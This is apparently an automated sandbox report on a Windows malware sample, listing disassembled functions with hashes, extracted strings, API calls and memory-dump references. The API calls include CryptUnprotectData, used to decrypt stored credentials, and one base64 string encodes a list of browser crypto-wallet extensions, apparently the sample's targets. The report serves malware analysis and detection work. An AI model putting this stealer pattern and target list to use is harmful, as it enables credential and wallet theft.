Opcode ID: c26ed17f40cc8a3a564e7877973e804c51777f63c0fd5f1415798f9b7a3c0cad
Instruction ID: 0155f8a3309041c010449dbe8901848466c91744afc36440f870bad4fbdb152e
Opcode Fuzzy Hash: c26ed17f40cc8a3a564e7877973e804c51777f63c0fd5f1415798f9b7a3c0cad
Instruction Fuzzy Hash: BAB24AF360C204AFE708AE2DEC4567ABBE9EFD4320F1A453DE6C5C3744EA3558058696

Function 00F65A0E Relevance: 7.9, Strings: 5, Instructions: 1606COMMON

Download Yara Rule

Strings

M!I_, xrefs: 00F6694C
2r7, xrefs: 00F661E4
?, xrefs: 00F663CE
S`M|, xrefs: 00F665C7
-1[, xrefs: 00F66087

Memory Dump Source

Source File: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: -1[$2r7$M!I_$S`M|$?
API String ID: 0-844068043
Opcode ID: 28a8740d85c6367a19011275669b8498f0e5aacd00435424891d497482d4e41d
Instruction ID: 571d4d5261c348c738784bd754800ae6a0c151be62e37af49bd2e44e6ce70a24
Opcode Fuzzy Hash: 28a8740d85c6367a19011275669b8498f0e5aacd00435424891d497482d4e41d
Instruction Fuzzy Hash: 6FB2D3F360C6009FE308AE29EC8567AFBE9EF94720F16493DE6C5C3744EA3558058697

Function 00B97240 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400), ref: 00B9724D
RtlAllocateHeap.NTDLL(00000000), ref: 00B97254
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00B97281
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000), ref: 00B972A4
LocalFree.KERNEL32(?), ref: 00B972AE

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 2609814428-0
Opcode ID: 3d69a54c4d01d73cbdb176b495b2d9f1b641bdda1caaf0588fcd15101969cb1d
Instruction ID: 88ec60856241e10fc64c93d2dca4e41fd4f10516a482c611aa23b9266135a584
Opcode Fuzzy Hash: 3d69a54c4d01d73cbdb176b495b2d9f1b641bdda1caaf0588fcd15101969cb1d
Instruction Fuzzy Hash: 7B010075A51308BBDB10DFD8CD49FAE77B8EB44700F108155FB05EA2C0DAB0AA009B65

Function 00F5BA99 Relevance: 6.6, Strings: 4, Instructions: 1644COMMON

Download Yara Rule

Strings

JgR_, xrefs: 00F5C395
3], xrefs: 00F5BF7B
T%~n, xrefs: 00F5C476
c+Re, xrefs: 00F5C464

Memory Dump Source

Source File: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 3]$JgR_$T%~n$c+Re
API String ID: 0-1719617896
Opcode ID: 07926e7c3ca6578d88a7a1bbf7936239ca1e64e95f8330e359205cfa5ce56204
Instruction ID: 2973c4d7551dc10ab4a9f4e2df58ce618620fc2c78213af480083944e23438a7
Opcode Fuzzy Hash: 07926e7c3ca6578d88a7a1bbf7936239ca1e64e95f8330e359205cfa5ce56204
Instruction Fuzzy Hash: 32B229F3A0C2049FE7046E2DEC8567ABBE9EF94320F1A463DE6C5C3744E93558058697

Function 00F60A1B Relevance: 6.6, Strings: 4, Instructions: 1578COMMON

Download Yara Rule

Strings

RV{;, xrefs: 00F618D3
Uw?, xrefs: 00F61346
r;, xrefs: 00F6181C
b21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnwxfDB8MHxOYW1pfGxwZmNiamtuaWpwZWVpbGxpZm5raWtnbmNpa2dmaGRvfDF8MHwwfE1haWFyIERlRmkgV2FsbGV0fGRuZ21sYmxjb2Rm, xrefs: 00F6123B

Memory Dump Source

Source File: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID:
String ID: RV{;$b21hamxiZ2NoZGRsaWNncG58MXwwfDB8Qk9MVCBYfGFvZGtrYWduYWRjYm9iZnBnZ2ZuamVvbmdlbWpiamNhfDF8MHwwfFhERUZJIFdhbGxldHxobWVvYm5mbmZjbWRrZGNtbGJsZ2FnbWZwZmJvaWVhZnwxfDB8MHxOYW1pfGxwZmNiamtuaWpwZWVpbGxpZm5raWtnbmNpa2dmaGRvfDF8MHwwfE1haWFyIERlRmkgV2FsbGV0fGRuZ21sYmxjb2Rm$r;$Uw?
API String ID: 0-2518087039
Opcode ID: 67e1e4a31161c717a91c8150019d29397d16a0bb0a124891274e47ac21593b6a
Instruction ID: 2c9b03440ef9bcec99c05855bba4865b3570ff2acd1c48fc25beaa9ad52d3d62
Opcode Fuzzy Hash: 67e1e4a31161c717a91c8150019d29397d16a0bb0a124891274e47ac21593b6a
Instruction Fuzzy Hash: 9AA227F3A0C2049FE7046E2DEC8567AFBE9EFD4720F1A853DEAC493744E63158058696

Function 00BA8EA0 Relevance: 6.1, APIs: 4, Instructions: 58encryptionCOMMON

Download Yara Rule

APIs

CryptBinaryToStringA.CRYPT32(00000000,00B95184,40000001,00000000,00000000,?,00B95184), ref: 00BA8EC0

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptString
String ID:
API String ID: 80407269-0
Opcode ID: b8892f77b82ef776493bf0a48351838fb1bec194866768c245eb257133447d35
Instruction ID: e5f85caabe6bf3b209a8fa2e1f9cf1a88ff0188b585dee71e2ee2402b4f4c6a3
Opcode Fuzzy Hash: b8892f77b82ef776493bf0a48351838fb1bec194866768c245eb257133447d35
Instruction Fuzzy Hash: 1611F570204209EFDB00CF64D884FAA37E9AF8A300F109888F9198B650DB35E841DB60

Function 00B99AC0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B94EEE,00000000,00000000), ref: 00B99AEF
LocalAlloc.KERNEL32(00000040,?,?,?,00B94EEE,00000000,?), ref: 00B99B01
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00B94EEE,00000000,00000000), ref: 00B99B2A
LocalFree.KERNEL32(?,?,?,?,00B94EEE,00000000,?), ref: 00B99B3F

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: 50ed066333168939fb91b813c5bb18c29773109d22c721528f7fb3318e5ebe42
Instruction ID: 20858fae0c7ecf05cd703c2f46bba6308d95e38a46bb0387eee580c5c782bf67
Opcode Fuzzy Hash: 50ed066333168939fb91b813c5bb18c29773109d22c721528f7fb3318e5ebe42
Instruction Fuzzy Hash: 5A11A4B4241308AFEB10CF64DC95FAA77B5FB89700F208059FD159B390C775A901DB60

Function 00BA7980 Relevance: 6.1, APIs: 4, Instructions: 51memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,?,00BB0E00,00000000,?), ref: 00BA79B0
RtlAllocateHeap.NTDLL(00000000), ref: 00BA79B7
GetLocalTime.KERNEL32(?,?,?,?,?,00BB0E00,00000000,?), ref: 00BA79C4
wsprintfA.USER32 ref: 00BA79F3

Memory Dump Source

Source File: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010753682.0000000001225000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b90000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateLocalProcessTimewsprintf
String ID:
API String ID: 377395780-0
Opcode ID: d90f360cc8347d970a71b19374f1de2da964603e67be4eda0e7a8c526fa529dc
Instruction ID: a3f1f4298183bbf0b6c826614b2ce10947d390965ca9ad4e670615138f4b5f34
Opcode Fuzzy Hash: d90f360cc8347d970a71b19374f1de2da964603e67be4eda0e7a8c526fa529dc
Instruction Fuzzy Hash: 1E112AB2944218ABCB14DFC9DD45BBEB7F8FB4CB11F10415AFA05A2280D7395940D7B1

Function 00F63F68 Relevance: 5.4, Strings: 3, Instructions: 1618COMMON

Download Yara Rule

Strings

7$/', xrefs: 00F64EA5
vyU, xrefs: 00F644A8
vNjz, xrefs: 00F64CC8

Memory Dump Source

Source File: 00000000.00000002.2010373854.0000000000DEE000.00000040.00000001.01000000.00000003.sdmp, Offset: 00B90000, based on PE: true

Associated: 00000000.00000002.2010022530.0000000000B90000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000B91000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000BEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C15000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C18000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C1F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C22000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C41000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C4D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C72000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000C9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000CAE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D35000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D55000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010035965.0000000000D5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000000F74000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.000000000104F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001072000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001079000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010373854.0000000001088000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010616047.0000000001089000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2010737533.0000000001224000.00000040.00000001.01000000.00000003.sdmpDownload File
